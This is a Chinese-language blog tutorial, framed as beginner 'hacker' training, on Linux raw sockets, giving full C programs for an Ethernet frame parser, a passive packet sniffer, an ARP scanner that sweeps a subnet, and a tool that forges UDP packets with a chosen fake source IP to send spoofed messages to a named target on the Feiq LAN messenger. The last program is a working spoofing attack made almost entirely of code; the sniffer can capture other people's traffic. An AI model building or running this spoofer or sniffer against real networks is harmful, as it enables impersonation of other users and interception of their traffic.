您好,登錄后才能下訂單哦!
網絡駭客初級之原始套接字(SOCK_RAW)
本文用實際程序完成了MAC數據包分析,網絡數據分析,MAC地址掃描器和飛秋欺騙
在這里我把原來的入門改成了初級,因為對于原始套接字的操作確實在普通的TCP,UDP之上
TCP和UDP確實涵蓋了普通的網絡應用程序,但請注意“普通”二字,要成為一名駭客的你,可不能僅僅滿足于寫一些普通的網絡小程序,而要直接對所有數據包進行分析,還要能夠發送自己組裝的數據包,踏入高級網絡編程的領域,編寫一些奇特的網絡程序(嘿嘿!)。
注意所有程序都是在LINUX系統下實現的,當然在windows下不是不行,只是頭文件什么的有點區別,留給感興趣的同學去研究吧。
以接收為例,先來分析一個鏈路層的MAC數據包吧
還是老套路:
頭文件
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#include <pthread.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <fcntl.h>
1.創建原始套接字
int sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(sock_raw_fd < 0)
{
perror("socket");
exit(-1);
}
2.定義接收緩沖區
unsigned char buf[1024]="";
3.儲存源目的MAC地址緩沖區
unsigned char src_mac[18]="";
unsigned char dst_mac[18]="";
//從網卡直接接收數據包
int ret = recvfrom(sock_raw_fd,buf,sizeof(buf),0,NULL,NULL);
if(-1 != ret)
{
//打印數據包的源目的MAC
sprintf(dst_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[0],buf[1],buf[2],buf[3],buf[4],buf[5]);
sprintf(src_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[6],buf[7],buf[8],buf[9],buf[10],buf[11]);
printf("MAC:%s >> %s\n",src_mac,dst_mac);
printf("type == %02x%02x\n",buf[12],buf[13]);
}
close(sock_raw_fd);
因為在數據鏈路層傳輸的所有數據包前14個字節都是6字節目的MAC,6字節源MAC加上2字節的數據幀類型(如:IP:0800,ARP:0806,RARP:8035)
所以本程序取出接收緩沖區的前12個字節分別輸出,顯示源目的MAC地址
但我們能做的可不只是分析MAC地址而已,足以寫一個被動網絡嗅探器了
頭文件
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <netinet/ether.h>
#include <string.h>
//子函數,用于顯示源目的IP地址
void showip(unsigned char *buffer)
{
struct iphdr *iph;
char sipaddr[INET_ADDRSTRLEN] = "";
char dipaddr[INET_ADDRSTRLEN] = "";
iph = (struct iphdr*)(buffer+sizeof(struct ethhdr));
inet_ntop(AF_INET,&iph->saddr,sipaddr,INET_ADDRSTRLEN);
inet_ntop(AF_INET,&iph->daddr,dipaddr,INET_ADDRSTRLEN);
printf("IP: %s >> %s\n",sipaddr,dipaddr);
}
主函數
int main(int argc, char **argv)
{
int sock, n;
unsigned char buffer[1024];
struct ethhdr *eth;
struct iphdr *iph;
struct ifreq ethreq;
char type[5]="";
uint16_t *port=NULL;
//創建原始套接字
if(0>(sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))))
{
perror("socket");
exit(1);
}
//接收數據包
while(1)
{
bzero(buffer,sizeof(buffer));
n=recvfrom(sock,buffer,1024,0,NULL,NULL);
//分析數據包類型
sprintf(type,"%02x%02x",buffer[12],buffer[13]);
//0800IP數據包
if(0 == strcmp(type,"0800"))
{
printf("============IP===============\n");
//TCP還是UDP
if(0x06 == buffer[23])
{
printf("TCP\n");
}
else if(0x11 == buffer[23])
{
printf("UDP\n");
}
//端口
port= buffer+34;
printf("Port:%d >> ",ntohs(*port));
port= buffer+36;
printf("%d\n",ntohs(*port));
//輸出IP地址
showip(buffer);
}
else if(0 == strcmp(type,"0806"))
{
printf("============ARP===============\n");
showip(buffer);
}
else if(0 == strcmp(type,"8035"))
{
printf("============RARP===============\n");
}
else
{
printf("============%s===============\n",type);
}
eth = (struct ethhdr*)buffer;
//顯示MAC地址
printf("MAC: %02X:%02X:%02X:%02X:%02X:%02X >> %02X:%02X:%02X:%02X:%02X:%02X \n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5],eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
}
}
在這里注意IP數據包的格式,一個IP數據包的前14個字節為MAC幀頭部,接上一個20字節的IP報頭,端口號就在數據包的第34個字節后面,不管是UDP數據包還是TCP數據包都一樣,兩個字節的源端口號和兩個字節的目的端口號。
所以只要按照固定的格式分析接收到的數據包就可以了
被動的嗅探器只需要接收數據,我們還可以發送數據
試試弄一個MAC地址掃描器把
頭文件
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <netinet/ether.h>
#include <string.h>
#include <pthread.h>
//創建一個結構體定義套接字和文件描述符
typedef struct arg
{
int fd;
int sock_raw_fd;
}SOCK_FD;
//子線程接收數據包
void *recvarp(void *arg)
{
SOCK_FD sock_fds = *(SOCK_FD*)arg;
int sock_raw_fd = sock_fds.sock_raw_fd;
int fd = sock_fds.fd;
while(1)
{
unsigned char recv_buf[100]="";//接收緩沖區
recvfrom(sock_raw_fd,recv_buf,sizeof(recv_buf),0,NULL,NULL);
if(recv_buf[21] == 2)
{
//打印
unsigned char write_buf[20]="";
sprintf(write_buf,"%d.%d.%d.%d -- %02x:%02x:%02x:%02x:%02x:%02x\r\n",recv_buf[28],recv_buf[29],recv_buf[30],recv_buf[31],recv_buf[6],recv_buf[7],recv_buf[8],recv_buf[9],recv_buf[10],recv_buf[11]);
//寫入文件
write(fd, write_buf, strlen(write_buf));
printf("%s",write_buf);
}
}
}
主函數
int main(int argc, char **argv)
{
SOCK_FD sock_fds;
int fd;
//創建一個文件用于保存接收的數據
fd = open("arplist.txt", O_CREAT|O_RDWR|O_APPEND|O_TRUNC, 0777);
//1創建套接字
int sock_raw_fd;
sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));
if(sock_raw_fd < 0)
{
perror("socket");
exit(-1);
}
//套接字和文件描述符賦值,作為參數傳給線程
sock_fds.sock_raw_fd = sock_raw_fd;
sock_fds.fd = fd;
pthread_t pth;
pthread_create(&pth,NULL,recvarp,(void *)&sock_fds);
pthread_detach(pth);
//組裝ARP請求包
unsigned char arp[42]={
//-------MAC頭部---------14
0xff,0xff,0xff,0xff,0xff,0xff,//dst MAC廣播包,全FF
0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC自己的MAC地址
0x08,0x06,//pro_type
//-------ARP包---------28
0x00,0x01,0x08,0x00,
0x06,0x04,0x00,0x01,
0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC
10,220,4,16, //src IP
0x00,0x00,0x00,0x00,0x00,0x00,//DST MAC
// 10,220,4,17 //DST IP
0,0,0,0 //DST IP先寫0,后面再賦值
};
//獲取網卡接口地址
struct ifreq ethreq;
strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);
int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, ðreq);
if(ret == -1)
{
perror("ioctl");
close(sock_raw_fd);
exit(-1);
}
//sockaddr_ll 第三個成員賦值
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//目的IP賦值,從某一個網段開始
arp[38]=10;
arp[39]=220;
arp[40]=4;
arp[41]=0;
//sendto發送ARP請求
sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll));
//等待ARP應答
printf(" IP -- MAC\n");
while(1)//循環發送,每次IP地址加一
{
sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll));
arp[41]++;
if(arp[41] == 255)
{
break;
}
// printf("send IP:%d.%d.%d.%d\n",arp[38],arp[39],arp[40],arp[41]);
}
//關閉
close(sock_raw_fd);
close(fd);
return 0;
}
最后,我們再來寫一個針對于飛秋軟件的小程序吧,注意這里使用結構體對數據包進行賦值,所以要了解數據包的格式
頭文件
#include<stdlib.h>
#include<stdio.h>
#include<errno.h>
#include<string.h>
#include<unistd.h>
#include<netdb.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<arpa/inet.h>
#include<linux/tcp.h>
#include<linux/udp.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <netinet/ether.h>
typedef unsigned char uchar;
//定義一個UDP偽頭部結構體,用于UDP校驗
struct falseudp
{
struct in_addr falseudp_src, falseudp_dst; /* source and dest address */
u_int8_t zero; /* 0 */
u_int8_t proto; /* 17 */
u_int16_t falseudp_len; /* udplen */
u_int16_t source; /* source port */
u_int16_t dest; /* dest port */
u_int16_t len; /* udp length */
u_int16_t check; /* udp checksum */
uchar msg[1024];
};
//計算校驗和
unsigned short checksum(unsigned short *buf, int nword);
//主函數
int main(int argc, char**argv)
{
char username[20]="";
char hostname[20]="";
char msg_send[728]="";
uchar srcip[17]="";
uchar dstip[17]="";
printf("Fake IP:");
fflush(stdout);
fgets(srcip,sizeof(srcip)-1,stdin);
srcip[strlen(srcip)-1]='\0';
printf("Target IP:");
fflush(stdout);
fgets(dstip,sizeof(dstip)-1,stdin);
dstip[strlen(dstip)-1]='\0';
printf("Target username:");
fflush(stdout);
fgets(username,sizeof(username)-1,stdin);
username[strlen(username)-1]='\0';
printf("Target hostname:");
fflush(stdout);
fgets(hostname,sizeof(hostname)-1,stdin);
hostname[strlen(hostname)-1]='\0';
printf("send msg:");fflush(stdout);
fgets(msg_send,sizeof(msg_send)-1,stdin);
msg_send[strlen(msg_send)-1]='\0';
uchar srcMAC[6]={0xc8,0x9c,0xdc,0xb7,0x0f,0x19};
uchar dstMAC[6]={0x00,0x0c,0x29,0xa8,0x4a,0xf0};
unsigned short check_num;
//創建套接字
int sock_raw_fd;
sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(sock_raw_fd < 0)
{
perror("socket");
exit(-1);
}
//獲取接口地址
struct ifreq ethreq;
strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);
int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, ðreq);
if(ret == -1)
{
perror("ioctl");
close(sock_raw_fd);
exit(-1);
}
//sockaddr_ll 第三個成員賦值
struct sockaddr_ll sll;
bzero(&sll,sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//DATA,按照飛秋的消息格式組裝數據包(可用wireshark分析出來)
uchar msg[1024]="";
int len = sprintf(msg, "%d:%d:%s:%s:%d:%s", 1, 123, username, hostname, 32, msg_send);
if(0 != (len%2))//還是計算校驗和,數據長度必須是偶數,如果是奇數就在后面加一個0-‘\0’
{
len++;
msg[len]='\0';
}
printf("len:%d\n",len);
//組包,先寫0,后面再用結構體賦值,mac+ip+udp
// uchar buf[2048]="";
uchar buf[2048]={
//MAC 14
0x00,0x00,0x00,0x00,0x00,0x00,//dst MAC
0x00,0x00,0x00,0x00,0x00,0x00,//src MAC
0x08,0x00,//proto_type
};
//源目的IP
memcpy(buf,srcMAC,6);
memcpy(buf+6,dstMAC,6);
//結構體
struct ip *ip;
struct udphdr *udp;
int ip_len,udp_len;
//IP包
ip_len = 20+8+len;
ip=(struct ip*)(buf+14);
ip->ip_v = IPVERSION;
ip->ip_hl = 5;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);//
ip->ip_id = 0;//0
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;//MAXTTL
ip->ip_p = IPPROTO_UDP;
ip->ip_sum = 0;
inet_pton(AF_INET, srcip, &(ip->ip_src));
inet_pton(AF_INET, dstip, &(ip->ip_dst));
//計算校驗和
check_num = checksum((unsigned short*)ip,10);
printf("ip-check_num:%x\n",check_num);//1ca4 and e9cb
ip->ip_sum = htons(check_num);
//udp包,端口2425
udp_len = 8+len;
udp = (struct udphdr*)(buf+14+20);
udp->source = htons(2425);
udp->dest =htons(2425);
udp->len = htons(udp_len);
udp->check = 0;
//DATA
memcpy(buf+42,msg,len);
// printf("%s\n",buf+42);
//////////
//UDP校驗
struct falseudp falseudp;
struct falseudp *p=NULL;
//偽頭部
inet_pton(AF_INET, srcip, &(falseudp.falseudp_src));
inet_pton(AF_INET, dstip, &(falseudp.falseudp_dst));
falseudp.zero = 0;
falseudp.proto = ip->ip_p;
falseudp.falseudp_len = udp->len;
falseudp.source = udp->source;
falseudp.dest = udp->dest;
falseudp.len = udp->len;
falseudp.check = 0;
memcpy(falseudp.msg,msg,len);
// printf("falseudp.msg:%s\n",falseudp.msg);
//計算UDP校驗和
p=&falseudp;
check_num = checksum((unsigned short*)p,(20+len)/2);
udp->check = htons(check_num);//1ca4 and e9cb
printf("fudp-check_num:%x\n",check_num);
//////////
//發送數據直接用sendto()就可以了
int i=0;
while(1)
{
int ret_send = sendto(sock_raw_fd, buf, 42+len, 0, (struct sockaddr*)&sll,sizeof(sll));
// printf("ret_send:%d\n", ret_send);
i++;
if(i == 1)
{break;}
}
close(sock_raw_fd);
}
//=========================================================================
//函數:unsigned short checksum(unsigned short *buf, int nword)
//作用:用來進行TCP或者UDP的校驗和的計算
//參數:
// buf:進行校驗和的數據的起始地址
// nword:進行校驗的數據的個數(注意本函數是2個Byte進行校驗,所以nword應該為
// 實際數據個數的一半)
// UDP檢驗和的計算方法是:
// 1.按每16位求和得出一個32位的數;
// 2.如果這個32位的數,高16位不為0,則高16位加低16位再得到一個32位的數;
// 3.重復第2步直到高16位為0,將低16位取反,得到校驗和。
//=========================================================================
unsigned short checksum(unsigned short *buf, int nword)
{
unsigned long sum;
for(sum = 0; nword > 0; nword--)
{
sum += htons(*buf);
buf++;
}
sum = (sum>>16) + (sum&0xffff);
sum += (sum>>16);
return ~sum;
}
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。